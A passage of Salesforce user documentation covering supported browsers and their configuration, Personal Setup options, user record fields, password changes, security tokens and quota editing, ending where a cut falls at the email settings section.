Note: Salesforce uses the following domains to deliver content. If your users are allowed general access to the Internet, there is no required action. If you whitelist domains, you must add these to your list of allowed domains. If youve disabled third-party cookies (typically enabled by default in all major browsers), you must accept them for Salesforce to function properly. *.staticforce.com *.content.force.com *.force.com *.salesforce.com Important: For all browsers you must enable JavaScript, cookies, and SSL 3.0. Some third-party Web browser plug-ins and extensions can interfere with the functionality of Chatter. If you experience malfunctions or inconsistent behavior with Chatter, disable all of the Web browser's plug-ins and extensions and try again. Salesforce.com recommends a minimum screen resolution of 1024 x 768 for the best possible user experience. Screen resolutions smaller than 1024 x 768 may cause issues displaying Salesforce features such as Report Builder and Page Layout Editor. Refer to the documentation for those products for specific information. Other requirements can be found in Salesforce System Requirements.

Feature Support
As of Summer 12, salesforce.com discontinued support for Microsoft Internet Explorer 6. Existing features that have previously worked in this browser may continue to work through 2014. Note these support restrictions. Internet Explorer 6 is not supported for: Chatter Global search Answers Cloud Scheduler The new user interface theme Quote Template Editor

23

Getting Started

Supported Browsers

Service Cloud Console Forecasts Chatter Answers Enhanced profile user interface Site.com Schema Builder Joined reports Enhanced dashboard charting options

Internet Explorer 7 is not supported for Site.com and Chatter Messenger.

Certain features in Salesforceas well as some desktop clients, toolkits, and adaptershave their own browser requirements. For example: Internet Explorer is the only supported browser for: Standard mail merge (We dont support Google Chrome Frame plug-in for Internet Explorer because the ActiveX controls required for mail merge are supported in Internet Explorer only.) Installing Salesforce Mobile on a Windows Mobile device Connect Offline Firefox is recommended for the enhanced page layout editor. Browser requirements also apply for uploading multiple files on Chatter.

See Also:
Tip sheet: Browser Support and Configuration

Configuring Firefox
Available in: All Editions

Salesforce.com makes every effort to test and support the most recent version of Firefox. Required Settings The following settings are required: 1. Click Tools > Options. 2. Enable JavaScript: a. Go to the Content panel. b. Select the Enable JavaScript option. 3. Accept cookies: a. b. c. d. Go to the Privacy panel. For the Firefox will option, select Use custom settings for history. Select the Accept cookies from sites option. Select the Accept third-party cookies option.

24

Getting Started

Supported Browsers

e. For the Keep until option, select they expire. 4. Set encryption protocols: a. Go to the Advanced panel. b. Click the Encryption tab. c. Select the Use SSL 3.0 option. 5. Click OK.

Advanced Settings
Optionally, configure advanced caching preferences to maximize performance: 1. Type about:config in the browser's location bar, and then press Enter. 2. If a warning displays, click I'll be careful, I promise! 3. Search for the following preferences and set them to the recommended value by double-clicking the preference name. Changes take effect immediately. 4. Change how the browser retains common resources across requests by setting the following caching preferences. Preference browser.cache.check_doc_frequency browser.cache.disk.capacity browser.cache.disk.enable browser.cache.disk_cache_ssl browser.cache.memory.enable network.http.use-cache Recommended Value 3 50,000 or more; increase to use more hard disk space True True True True Default Value 3 50,000 True False True True

Note: You can set some of these preferences by clicking Tools > Options in the Firefox browser. Refer to Firefox Help for details.

Tip: Setting privacy.sanitize.sanitizeOnShutdown to True causes the cache to clear when Firefox shuts down. This increases privacy, but may decrease performance. To view the contents of your cache, type about:cache in the Firefox location bar and press Enter. Refer to MozillaZine Knowledge Base and Firefox Support Home Page for more information on these and other preferences.

See Also:
Supported Browsers

25

Getting Started

Supported Browsers

Configuring Internet Explorer


Available in: All Editions

If you use Internet Explorer, we recommend using the latest version. Apply all Microsoft hotfixes. To maximize the performance of Internet Explorer, set the following options in the Internet Options dialog box, which you can open by clicking Tools > Internet Options: General Tab 1. From the General tab, click Settings under Browsing History. 2. For the Check for newer versions of stored pages option, select Automatically. 3. For the Disk space to use option , enter at least 50 MB. Security Tab 1. From the Security tab, click Custom Level under Internet and scroll to the Scripting section. 2. Make sure the Active Scripting option is enabled. JavaScript depends on this setting being enabled. Privacy Tab 1. 2. 3. 4. From the Privacy tab, click Advanced. Select the Override automatic cookie handling option. Select the Always allow session cookies option. For the Third-party Cookies option, select Accept.

Advanced Tab From the Advanced tab, scroll to the Security section and do the following: Do not select the Do not save encrypted pages to disk option. Select the Use SSL 3.0 option. Tip: The Empty Temporary Internet Files folder when browser is closed option causes the cache to clear when Internet Explorer is shut down. This increases privacy, but may decrease performance.

See Also:
Supported Browsers

26

Getting Started

Supported Browsers

Installing Google Chrome Frame for Microsoft Internet Explorer


Available in: All Editions except Database.com

Salesforce supports Google Chrome Frame for Internet Explorer version 6 only. Google Chrome Frame enables Internet Explorer to utilize features such as the new user interface theme and Chatter. To install Google Chrome Frame for Internet Explorer: 1. 2. 3. 4. In the Internet Explorer address bar, go to www.google.com/chromeframe. Click Get Google Chrome Frame and review the Terms of Service. Click Accept and Install. After the installation is complete, click Close and restart Internet Explorer.

Keep in mind, make sure you dont disable Google Chrome Frame in Internet Explorer. Disabling this can result in missing information on your Web pages.

27

WORKING IN SALESFORCE

PERSONAL SETUP
Personal Setup Overview
The available setup options vary according to which Salesforce Edition you have.

The Personal Setup page, accessed by clicking Your Name > Setup > Personal Setup, contains setup and customization options to help you personalize the application for your personal use. The sidebar includes tools for browsing and searching setup options.

My Personal Information
Expand the My Personal Information folder under Personal Setup to access the following options. Personal InformationEdit your user information, view login history, and more (see Editing Your Personal Information on page 30). Change My PasswordChange your password (see Changing Your Password on page 43). Reset My Security TokenReset the security token that you may need to log into Salesforce from outside your company's trusted network (see Resetting Your Security Token on page 45). My GroupsAdd, update, or delete your personal groups (see About Groups on page 597). Change My DisplayCustomize your display of tabs and related lists (see Customizing Your Display on page 42). Grant Login AccessAllow salesforce.com Customer Support representatives or your administrator to log in to your account (see Granting Login Access on page 31). Calendar SharingAllow other users, personal and public groups, roles, or roles and subordinates to view your calendar (see Granting Access to Your Calendar on page 48). RemindersSet your personal preferences for activity reminders (see Setting Reminders on Activities on page 134). Record Type SelectionSet your preferences for automatic selection of default record types (see Setting Record Type Preferences on page 49).

Email
Expand the Email folder under Personal Setup to access the following options. My Email SettingsSet your outbound email settings (see Editing Email Settings on page 47). My TemplatesCreate and edit your own email templates (see Managing Email Templates on page 474). My Stay-in-Touch SettingsSet your preferences for emails requesting contact information updates (see Editing Stay-in-Touch Settings on page 47).

28

Personal Setup

Personal Setup Overview

Import
Expand the Import folder under Personal Setup to access the following options. Import My Accounts & ContactsImport accounts and contacts that you own (see Import My Contacts on page 829). Import My Person AccountsImport person accounts that you own. Note that your administrator may have customized the text of this link.

Desktop Integration
Expand the Desktop Integration folder under Personal Setup to access the following options. Check for UpdatesSee what desktop client versions you have and install updates (see Checking for Desktop Client Updates on page 51). Salesforce for OutlookInstall Salesforce for Outlook to integrate your data with Microsoft Outlook (see Salesforce for Outlook Overview on page 2829). To download Connect for Outlook, see Force.com Connect for Microsoft Outlook Overview on page 2869. Connect for OfficeInstall Connect for Office to integrate your data with Microsoft Word and Excel (see Force.com Connect for Microsoft Office Overview on page 2927). Connect OfflineInstall Connect Offline to work remotely when you are not online (see Force.com Connect Offline Overview on page 2934). Connect for Lotus NotesDownload the Connect for Lotus Notes integration plug-in (see Force.com Connect for Lotus Notes Overview on page 2897).

My Chatter Settings
Expand the My Chatter Settings folder under Personal Setup to access the following options. My Feeds Automatically follow records you created (see Automatically Following Records You Own on page 2535). Receive approval request as private Chatter posts (see Enabling or Disabling Approval Request Posts on page 54). Chatter Email SettingsConfigure when and how frequently you want Chatter to send you emails (see Configuring Chatter Email Notifications and Digests on page 2581).

Social Accounts and Contacts


Expand the My Social Accounts and Contacts folder under Personal Setup to access the following options. SettingsConfigure the social networks and services that you want to use to see your accounts', contacts', and leads' social information, or turn off the Social Accounts and Contacts feature if you don't want to use it (see Configuring Your Social Accounts and Contacts Settings on page 3027).

Call Center Settings


Expand the Call Center Settings folder under Personal Setup to access the following options. My SoftPhone SettingsSet your SoftPhone user preferences (see Editing Personal SoftPhone Settings on page 3314).

29

Personal Setup

Editing Your Personal Information

Editing Your Personal Information


The available personal setup options vary according to which Salesforce Edition you have.

To update your personal information, click Your Name > Setup > My Personal Information > Personal Information. Administrators can edit any users information as described in Editing Users on page 512. From the personal information page, you can change the following: Personal InformationTo make changes, click Edit. See User Fields on page 32 for a list of the user fields. If you change your email address, a confirmation message will be sent to the new address. You must click the link provided in that message for the new email address to take effect. This process is to ensure system security. Change PasswordSee Changing Your Password on page 43. Approver SettingsSet preference for receiving approval request emails. See Changing Your Approval User Preferences on page 1940. Storage SpaceClick View next to the Used Data Space or Used File Space field to see how much storage space you are using. For information on organization storage limits, see Monitoring Resources on page 769. QuotasCreate and edit your quotas. See Setting Quotas for Customizable Forecasting on page 518, Adding and Editing Quotas on page 46 if you use Forecasts (Classic), and Forecasts Quotas Overview on page 2639 if you use the Forecasts product first released in Winter 12. Personal GroupsAdd, update, or delete your personal groups. See About Groups on page 597. Default Opportunity TeamSet up your default opportunity team. See Setting Your Default Opportunity Team on page 2769. Default Account TeamSet up your default account team. See Setting Up Default Account Teams on page 2599. Login HistoryAdministrators can view the users last ten successful and failed login attempts.

You also have access to view the following: Public Group MembershipLists the public groups to which you belong, as determined by your administrator. Managers in the Role HierarchyLists the users above you in the role hierarchy, as defined by your administrator. See Managers in the Role Hierarchy on page 32. TerritoriesLists the territories to which you are assigned. See Managing Users in Territories on page 2786. Assigned Mobile DevicesLists the mobile device from which you activated Salesforce Mobile for your Salesforce account. See Managing Mobile Devices on page 1018. Remote AccessLists the remote access applications that you have granted access to. Third-Party Account LinksLists the external authentication providers youve granted access to. You can revoke their access at any time.

See Also:
Personal Setup Overview Changing Your Default Division

30

Personal Setup

Editing Your Personal Information

Viewing Public Group Membership


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

To view which public groups include you as a member: 1. Click Your Name > Setup > My Personal Information > Personal Information. 2. Scroll down to the Public Group Membership related list, which lists the public groups of which you are a member. 3. To view a group's membership details, click the group name.

See Also:
Editing Your Personal Information

Granting Login Access


Available in: All Editions Granting administrator access available in: Enterprise, Unlimited, Developer, and Database.com Editions

Watch a Demo (1:41 minutes) To assist you, your administrator or a customer support representative may need to log in to the application using your login. You can grant access to them for a specified duration. For security reasons, the maximum period for granting access is limited to one year. During the time you have granted access, they can use your login and access your data to help you resolve any problems. To grant login access: 1. Choose Your Name > Setup > My Personal Information > Grant Login Access. 2. Set the access expiration date by choosing a value from the picklist. 3. Click Save. If an administrator, support representative, or publisher makes setup changes using your login, the setup audit trail lists those changes, including the username of the delegate user who made the changes. Note: You may be unable to grant access to certain support organizations due to restrictions set up by your administrator or based on the type of licensing used by a packaged application.

See Also:
Logging In as Another User Monitoring Setup Changes

31

Personal Setup

Editing Your Personal Information

Managers in the Role Hierarchy


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

The Managers in the Role Hierarchy related list shows all of the users above you in the hierarchy. These users have the same access to your data as you dothey have access to all data you own or that has been shared with you. To view this related list, click Your Name > Setup > My Personal Information > Personal Information, and scroll down to the related list.

See Also:
Overview of Roles

User Fields
The available fields vary according to which Salesforce Edition you have.

A user's personal informationor user detailpage has the following fields, listed in alphabetical order. Some of these fields may not be visible or editable depending on your permissions or edition. Field
Accessibility Mode

Description When selected, enables a user interface mode designed for visually-impaired users. See Enabling Accessibility Mode on page 3936. Administrative checkbox that enables or disables user login to the service. See Deactivating Users on page 514. Street address for user. Up to 255 characters are allowed in this field. Opt in to receive administrator-targeted promotional emails from salesforce.com. This field is not available if your organization has disabled your choice to receive emails from salesforce.com. Short name to identify user on list pages, reports, and other pages where the entire name does not fit. Up to eight characters are allowed in this field. Indicates whether the user can use customizable forecasting. See Enabling Users for Customizable Forecasting on page 1399.

Active

Address

Admin newsletter

Alias

Allow Forecasting

32

Personal Setup

Editing Your Personal Information

Field
Api Token

Description Indicates whether an API token has ever been reset. Salesforce.com uses this field to help you troubleshoot issues related to API tokens if issues should occur. The name of the call center to which this user is assigned. See Managing Call Center Users on page 3330. Indicates whether the user is notified by email when his or her Checkout account is activated and available for login. You must have Manage Billing permission to enable.

Call Center

Checkout Enabled

City

City portion of users address. Up to 40 characters are allowed in this field. Indicates whether the option to set an alternate color palette for charts has been enabled. The alternate palette has been optimized for use by color-blind users. For dashboard emails, the alternate palette is not used. Name used to identify this user in a community. Up to 40 alphanumeric characters are allowed; standard users can edit this field. Company name where user works. Up to 40 characters are allowed in this field. Name of the associated contact if the user is a partner user. Country portion of users address. Up to 40 characters are allowed in this field. User who created the user including creation date and time. (Read only) Users default currency for quotas, forecasts, and reports. Shown only in organizations using multiple currencies. This must be one of the active currencies for the organization. Listing of custom links for users as set up by your administrator. Enables a user to find contact and lead records from Data.com and add them to Salesforce. Also indicates the type of Data.com user. Data.com Users get a limited number of records to add or export per month, and their unused additions expire at the end of each month. For each Data.com User, you can see the monthly limit and number of records added to Salesforce or exported during the month. Data.com List users share account, contact, and lead record additions from a pool. You can see the organization's limit, and the number of records each Data.com List User has added to Salesforce or exported.

Color-Blind Palette on Charts

Community Nickname

Company

Contact Country

Created By

Currency

Custom Links

Data.com User Type

33

Personal Setup

Editing Your Personal Information

Field
Default Currency ISO Code

Description User's default currency setting for new records. Available only for organizations that use multiple currencies. Division that is applied, by default, to all new accounts and leads created by the user, unless he or she explicitly sets a different division. When users create records related to an account or other record that already has a division, the new record is assigned to the existing records division; the default division is not used. This setting does not restrict the user from viewing or creating records in other divisions. Users can change their division at any time. Available only in organizations that use divisions to segment their data.

Default Division

Delegated Approver

User lookup field used to select a delegate approver for approval requests. Depending on the approval process settings, this user can also approve approval requests for the user. Group that user works for, for example, Customer Support. Up to 80 characters are allowed in this field. Enables development mode for creating and editing Visualforce pages. This field is only visible to organizations that have Visualforce enabled..

Department

Development Mode

Disable Auto Subscription For Feeds

Disables automatic feed subscriptions to records owned by a user. Only available in organizations with Chatter enabled. Company division to which user belongs for example, PC Sales Group. Up to 40 characters are allowed in this field. Email address of user. Must be a valid email address in the form: jsmith@acme.com. Up to 80 characters are allowed in this field. Character set and encoding for outbound email sent by user from within Salesforce. ISO-8859-1 represents all Latin characters and should be used by English-speaking users. UTF-8 (Unicode) represents all characters for all of the worlds languages, but is not supported by some older email software. Shift_JIS, EUC-JP and ISO-2022-JP are useful for Japanese users. Identifying number for a user. Time of day that user generally stops working. Used to define the times that display in the users calendar.

Division

Email

Email Encoding

Employee Number End of day

34

Personal Setup

Editing Your Personal Information

Field
Fax Federation ID

Description Fax number for user. The value used to identify a user for federated authentication single sign-on. For more information, see Configuring SAML Settings for Single Sign-On on page 697. Also used with identity providers. See About Identity Providers and Service Providers on page 737 First name of user, as displayed on the user edit page. Up to 40 characters are allowed in this field. Grants the ability to run flows. Available in Developer (with limitations), Enterprise, and Unlimited Editions. You must have the Manage Force.com Flow permission to enable. If the user has the Run Flows permission, you dont need to enable this field.

First Name

Force.com Flow User

Force.com Quick Access Menu

Enables the Force.com quick access menu, which appears in object list view pages and record detail pages, and provides shortcuts to customization features for apps and objects. The default currency for all currency amount fields in the user record. Available only for organizations that use multiple currencies. Grants access to Salesforce Knowledge. The user's profile determines whether he or she has access to the Article Management tab or Articles tab. Available in Professional, Enterprise, and Unlimited Editions. The primary language for the user. All text and online help is displayed in this language. In Professional, Enterprise, and Unlimited Edition organizations, a users individual Language setting overrides the organizations Default Language. Not available in Personal Edition, Contact Manager, or Group Edition. The organizations Display Language applies to all users.

Information Currency

Knowledge User

Language

Last Login Last Name

Date of last login. (Read only) Last name of user, as displayed on the user edit page. Up to 80 characters are allowed in this field. Country or geographic region in which user is located. The Locale setting affects the format of date, date/time, and number fields, and the calendar. For example, dates in the English (United States) locale display as 06/30/2000 and as 30/06/2000 in the English (United Kingdom) locale. Times in the English (United States) locale display using a

Locale

35

Personal Setup

Editing Your Personal Information

Field

Description twelve-hour clock with AM and PM (for example, 2:00 PM), whereas in the English (United Kingdom) locale, they display using a twenty-four-hour clock (for example, 14:00). The Locale setting also affects the first and last name order on Name fields for users, leads, and contacts. For example, Bob Johnson in the English (United States) locale displays as Bob Johnson, whereas the Chinese (China) locale displays the name as Johnson Bob. For Personal Edition users, the locale is set at the organization level via Your Name > Setup > Company Profile > Company Information. For all other users, their personal locale, available at Your Name > Setup > My Personal Information > Personal Information, overrides the organization setting.

Make Setup My Default Landing Page

When this option is enabled, users land in the Setup page when they log in. Lookup field used to select the user's manager. This field: Establishes a hierarchical relationship, preventing you from selecting a user that directly or indirectly reports to itself. Allows Chatter to recommend people and records to follow based on your organization's reporting structure. For more information, see People Recommendations Overview on page 2503 and Record Recommendations Overview on page 2583. This field is especially useful for creating hierarchical workflow rules and approval processes without having to create additional hierarchy fields. Note: Unlike other hierarchy fields, Salesforce allows you to inactivate users who are referenced in the Manager field.

Manager

Marketing User

When enabled, the user can create, edit, and delete campaigns, configure advanced campaign setup, import leads, and update campaign history via the member import wizards. Available in Professional, Enterprise, and Unlimited Editions. To use the campaign import wizards, Marketing Users must also have the Marketing User profile (or the Import Leads permission and the Edit permission on campaigns in Enterprise and Unlimited Edition organizations). If this option isnt selected, the user can only view campaigns and advanced campaign setup, edit the Campaign History for a single lead or contact, and run campaign reports.

36

Personal Setup

Editing Your Personal Information

Field
Mobile

Description Cellular or mobile phone number. Up to 40 characters are allowed in this field. This number is used for SMS-based identity confirmation. Administrators enable this feature by checking Enable SMS-based identity confirmation at Your Name > Setup > Security Controls > Session Settings. Once enabled, every user sees a screen after logging in that asks them to register for mobile verification. The user can take one of the following actions: Enter a mobile phone number and then have it verified with a text message. Skip entering a mobile number now, but get asked again at their next login. Completely opt out of mobile verification.

Once a users mobile phone number is verified, Salesforce will use it to verify the user when necessary, such as when a user tries to log in from an unknown IP address. Administrators can also enter users mobile numbers and pre-verify them. If Enable SMS-based identity confirmation is set when an Administrator enters a mobile number for a user, or when a mobile number is set from an API using the User object, the mobile number is automatically considered verified. If Enable SMS-based identity confirmation is not set, the new mobile phone number is not considered verified. Verified means that Salesforce will not ask the user to verify a mobile phone number at login, and that Salesforce will use the number to send the user a verification code when necessary for SMS-based identity confirmation.
Mobile User

Allocates one Salesforce Mobile license to the user, granting the user access to Salesforce Mobile capabilities. The number of user records with this checkbox enabled cannot exceed the total number of mobile licenses your organization has. Available in Professional, Enterprise, and Unlimited Editions. The Mobile User checkbox is enabled by default for Unlimited and Developer Edition users. To prevent users from activating Salesforce on their mobile devices before you are ready to deploy mobile in your organization, disable the checkbox for all your users. If the user has already activated his or her mobile account from a device, deselecting the Mobile User checkbox revokes the user's mobile license. The next time the user's device

37

Personal Setup

Editing Your Personal Information

Field

Description synchronizes with Salesforce, all the Salesforce data is deleted from the device, and the device is no longer associated with the user. For more information, see Salesforce Mobile Overview on page 975. Note: The Mobile User checkbox doesn't apply to Mobile Lite users because they can access Salesforce from their device without a mobile license.

Mobile Configuration

The mobile configuration assigned to the user. If no mobile configuration is specified, this field defaults to the mobile configuration assigned to the user's profile. This field is only visible to organizations that use Salesforce to manage mobile configurations. For more information, see Salesforce Mobile Overview on page 975.

Modified By

User who last changed the user fields, including modification date and time. (Read only) If the user's Data.com User Type is Data.com User, the number of Data.com contact and lead records the user can add each month. The default number of records per license is 300, but you can assign more than that or fewer, up to the organization limit.

Monthly Contact and Lead Limit

Name

Combined first and last name of user, as displayed on the user detail page. Opt in to receive user-targeted promotional emails from salesforce.com. This field is not available if your organization has disabled your choice to receive emails from salesforce.com. Administrative checkbox that grants the user access to Connect Offline. Available in Professional, Enterprise, and Unlimited Editions. Denotes whether a partner portal user is a super user. For details on enabling and assigning partner super user access, see Enabling Partner Super User Access on page 3707. Phone number of user. Up to 40 characters are allowed in this field. Administrative field that specifies the users base-level permissions to perform different functions within the application. Additional permissions may be granted to the user through permission sets.

Newsletter

Offline User

Partner Super User

Phone

Profile

38

Personal Setup

Editing Your Personal Information

Field
Receive Approval Request Emails

Description Set preferences for receiving approval request emails. See Changing Your Approval User Preferences on page 1940. If selected, specifies that a non-portal user with a Salesforce CRM Content User license and Salesforce CRM Content subscriptions will receive a once-daily email summary if activity occurs on his or her subscribed content, libraries, tags, or authors. To receive email, the Receive Salesforce CRM Content Email Alerts checkbox must also be selected. Portal users do not need the Salesforce CRM Content User license; they only need the View Content in Portals user permission. If selected, specifies that a non-portal user with a Salesforce CRM Content User license and Salesforce CRM Content subscriptions will receive email notifications if activity occurs on his or her subscribed content, libraries, tags, or authors. To receive real-time email alerts, select this checkbox and do not select the Receive Salesforce CRM Content Daily Digest checkbox. Portal users do not need the Salesforce CRM Content User license; they only need the View Content in Portals user permission. Administrative field that specifies position of user within an organization, for example, Western Region Support Manager. Roles are selected from a picklist of available roles, which can be changed by an administrator. Not available in Personal Edition, Contact Manager, or Group Edition.

Receive Salesforce CRM Content Daily Digest

Receive Salesforce CRM Content Email Alerts

Role

Salesforce CRM Content User

Administrative checkbox that indicates whether a user has access to use Salesforce CRM Content. Available in Professional, Enterprise, and Unlimited Editions. When enabled, specifies that the user was created via self-registration to a Customer Portal. Available in Enterprise and Unlimited Editions. If selected, specifies that the user will receive email notification whenever he or she executes Apex that surpasses more than 50% of allocated governor limits. See the Force.com Apex Code Developer's Guide for information. Available in Developer, Enterprise, and Unlimited Editions only.

Self-Registered via Customer Portal

Send Apex Warning Emails

39

Personal Setup

Editing Your Personal Information

Field
Show View State in Development Mode

Description Enables the View State tab in the development mode footer forVisualforce pages. This field is only visible to organizations that have Visualforce enabled, and Development Mode selected.

Site.com Contributor User

Allocates one Site.com Contributor license to the user, granting the user limited access to Site.com Studio.Contributors can use Site.com Studio to edit site content only. See Setting Up Site.com Users on page 2365. The number of user records with this checkbox enabled can't exceed the total number of Site.com Contributor licenses your organization has. Available in Developer, Enterprise, and Unlimited Editions, only if Site.com is enabled for your organization.

Site.com Publisher User

Allocates one Site.com Publisher license to the user, granting the user full access to Site.com Studio. Publishers can build and style websites, control the layout and functionality of pages and page elements, and add and edit content. See Setting Up Site.com Users on page 2365. The number of user records with this checkbox enabled can't exceed the total number of Site.com Publisher licenses your organization has. Available in Developer, Enterprise, and Unlimited Editions, only if Site.com is enabled for your organization.

Start of day

Time of day that user generally starts working. Used to define the times that display in the users calendar. State or province portion of users address. Up to 20 characters are allowed in this field. Primary time zone in which user works. Users in Arizona should select the setting with America/Phoenix, and users in parts of Indiana that do not follow Daylight Savings Time should select the setting with America/Indianapolis.

State/Province

Time Zone

Title Used Space

Job title of user. Up to 80 characters are allowed in this field. Amount of disk storage space the user is using. See Monitoring Resources on page 769. Indicates the type of user license. For more information about user licenses, see Understanding User License Types on page 610.

User License

40

Personal Setup

Changing Your Default Division

Field
Username

Description Administrative field that defines the users login. Up to 80 characters are allowed in this field. Zip code or postal code portion of users address. Up to 20 characters are allowed in this field.

Zip/Postal Code

See Also:
Adding a Single User Adding Multiple Users Editing Users Managing Mobile Permissions

Changing Your Default Division


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To change your default division: Manage Users

If your organization uses divisions to segment data, your user information contains a default division. This is the division that is applied, by default, to all new accounts, leads, and appropriate custom objects you create, unless you explicitly set a different division during record creation. For records you create that are related to an account or other record that already has a division, the new record is assigned to the existing records division; the default division is not used. Your default division setting does not restrict you from viewing or creating records in other divisions. See Overview of Divisions on page 459 for more information. To change your default division: 1. Click Your Name > Setup > My Personal Information > Personal Information. To change the default division of another user, click Your Name > Setup > Manage User > Users, and select the name of the user. See Transferring Divisions on page 782 to transfer the default division for multiple users. 2. Click Change next to the Default Division field. 3. Select a new default division. 4. Select an option to determine if the records you currently own should be transferred to the new division as well.

41

Personal Setup

Customizing Your Display

5. Click Save.

See Also:
Transferring Divisions Changing Your Working Division

Customizing Your Display


Available in: All Editions except for Database.com

Click Your Name > Setup > My Personal Information > Change My Display to change various personal display options. You can: Click Customize My Tabs to change which tabs display when you log in, or, if you have multiple apps, to change which tabs display in each app. By default, you will see the tabs that are set for your profile. Add each tab you want to display, change the display order if desired, and click Save. Note: The first tab that displays when you select an app may change if your administrator changes the app's default landing tab. See Editing App Properties on page 1811. Select an object from the drop-down list and click Customize My Pages to customize your display. For your Home tab, customize the dashboard snapshot that displays on the Home tab. Select the dashboard to use and click Save. The link to customize your Home tab is available only if your administrator has customized your home page layout to include a dashboard. See Refreshing Dashboard Data on page 3257 for information on refreshing your dashboard snapshot. For all other tabs, set which related lists display on your detail pages. To add or remove related lists, select a related list title, and click the Add or Remove arrow. To change the order of the related lists, select a related list title in the Selected List box, and click the Up or Down arrow. Click Save when finished. Note: Your personal related list customization may change if your administrator alters the page layout for a particular tab. See Managing Page Layouts on page 1309. You can also access the Customize My Display page via the Customize Page link in the Dashboard section of the Home tab or on any record detail page. To customize the folders that display on your Reports tab, see The Reports Tab on page 3079.

42

Personal Setup

Viewing All Tabs

Note: Users can't remove dashboards from their home tab. Only administrators control whether dashboards appear.

See Also:
Changing Your Home Tab Dashboard Viewing All Tabs

Viewing All Tabs


Available in: All Editions except for Database.com

To view all the tabs available to you in Salesforce, click the plus icon (+) next to the main tabs.

Figure 1: Viewing All Tabs in Salesforce Using this page, you can: Click any of the tab names to quickly jump to that tab. If you have multiple apps, use the View drop-down list to see each apps logo and included tabs. Click Customize My Tabs to change how tabs display on your screen. Note: If you have Enterprise or Unlimited Edition, your administrator can hide tabs within your organization for features you do not use. For details, see Creating Custom Apps on page 1806.

See Also:
Customizing Your Display

Changing Your Password


Available in: All Editions

To change your password at any time, click Your Name > Setup > My Personal Information > Change My Password. Note: If you have the User Single Sign-On permission, only an administrator can reset your password. Please contact your administrator for assistance. For information about Single Sign-On, see About Single Sign-On on page 681.

43

Personal Setup

Changing Your Password

When you change your password, if you have not previously selected and answered a security question, you are prompted to do so. You must answer this question correctly if you ever forget your password and need it to be reset.

Additional Password Considerations


As you enter a new password in the New Password field, a visual indicator provides dynamic feedback on the strength of that password. When the password matches the minimum requirements for your organization's password policy, the visual indicator and associated text indicate that the password is acceptable and can now be saved. A tip is displayed to suggest how to make the password stronger and more difficult to guess. You might have to activate your computer to successfully log in to Salesforce whenever your password is changed or reset, or when you log in from a computer you have not used to access Salesforce before. Activating your computer allows Salesforce to verify your identity and prevent unauthorized access. To activate your computer: 1. When prompted on the login page, click Email me a verification code. Salesforce sends an activation email to the email address specified on your Salesforce user detail. 2. When you receive the email containing the verification code, copy and paste the verification code into your browser. The verification code included in the email is available for you to copy and paste into your browser up to 24 hours from the time you clicked Email me a verification code. After 24 hours, the verification code expires, and you must repeat the activation process to log in.

See Also:
Retrieving Forgotten Passwords Resetting Your Security Token

Activating Your Computer


Password policies available in: All Editions

You might have to activate your computer to successfully log in to Salesforce whenever your password is changed or reset, or when you log in from a computer you have not used to access Salesforce before. Activating your computer allows Salesforce to verify your identity and prevent unauthorized access. To activate your computer: 1. When prompted on the login page, click Email me a verification code. Salesforce sends an activation email to the email address specified on your Salesforce user detail. 2. When you receive the email containing the verification code, copy and paste the verification code into your browser. The verification code included in the email is available for you to copy and paste into your browser up to 24 hours from the time you clicked Email me a verification code. After 24 hours, the verification code expires, and you must repeat the activation process to log in.

See Also:
Changing Your Password

44

Personal Setup

Changing Your Password

Retrieving Forgotten Passwords


Available in: All Editions

Follow these steps if you have forgotten your password: 1. 2. 3. 4. 5. 6. Go to https://login.salesforce.com. Click Forgot your password?. Enter your username and click Continue. A message is automatically sent to your email address. Click the link provided in that message, answer your password question, and click Continue. A temporary password is automatically sent to your email address. Click the link to log in using that temporary password. When prompted, enter a new password.

You might have to activate your computer to successfully log in to Salesforce whenever your password is changed or reset, or when you log in from a computer you have not used to access Salesforce before. Activating your computer allows Salesforce to verify your identity and prevent unauthorized access. To activate your computer: 1. When prompted on the login page, click Email me a verification code. Salesforce sends an activation email to the email address specified on your Salesforce user detail. 2. When you receive the email containing the verification code, copy and paste the verification code into your browser. The verification code included in the email is available for you to copy and paste into your browser up to 24 hours from the time you clicked Email me a verification code. After 24 hours, the verification code expires, and you must repeat the activation process to log in.

See Also:
Resetting Your Security Token

Resetting Your Security Token


Available in: All Editions Connect for Outlook, Connect Offline, Connect for Office, Connect for Lotus Notes are not available in Database.com

A security token is an automatically generated key that you must add to the end of your password in order to log in to Salesforce from an untrusted network. For example, if your password is mypassword, and your security token is XXXXXXXXXX, then you must enter mypasswordXXXXXXXXXX to log in. Security tokens are required whether you log in via the API or a desktop client such as Connect for Outlook, Connect Offline, Connect for Office, Connect for Lotus Notes, or the Data Loader. You are offered a security token if you try to access Salesforce from an untrusted network. Once you have been issued a security token, you have the option to reset this security token at any time. To reset your security token, click Your Name > Setup > My Personal Information > Reset Security Token, and click the Reset My Security Token button. The new security token is sent via email to the email address on your Salesforce user record.

45

Personal Setup

Adding and Editing Quotas

If you have never been offered a security token, for example, because your organization restricts the IP addresses from which you can log in, the Reset My Security Token node does not appear in Setup. Tip: We recommend that you obtain your security token using the Salesforce user interface from a trusted network prior to attempting to access Salesforce from a new IP address.

See Also:
Changing Your Password

Adding and Editing Quotas


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information only applies to Forecasts (Classic) and not to the Forecasts product released in Winter 12 or to Customizable Forecasts. You can track your sales quotas on a quarterly basis. To add or edit a quota, go to your forecast for the quarter, or select Your Name > Setup > My Personal Information > Personal Information. To create a new quota from the personal information page: 1. Click New in the Quotas related list. 2. Select the year and quarter, and click Next. By default, the page displays the quarter that follows the last quota you created. The year you select should be based on your organizations Fiscal Year Starts In settings. 3. Enter amounts for each month. Do not include any currency symbols. If your organization uses multiple currencies, your quota is created in your personal currency by default. 4. Click Save to finish. Creating a quota automatically creates the corresponding forecast for that quarter. To edit a quota, click the quota name in the Quotas related list. Editing the quota amounts automatically logs an entry to the Forecast History related list of the corresponding forecast (see Forecast History on page 2620). Note: Managers should enter their quota amounts as a sum of their entire teams quotas. If your sales group does not break down quotas monthly, enter zeroes for the first two months and put the entire amount in the third month. If your organization uses multiple currencies, click Change Currency in the Quotas related list to change the currency of the quota. All quota and forecast values are automatically converted to the new currency using the conversion rates maintained by your administrator.

See Also:
Creating Forecasts Editing Forecasts

46

Personal Setup

Editing Email Settings

Editing Email Settings


Available in: All Editions except for Database.com

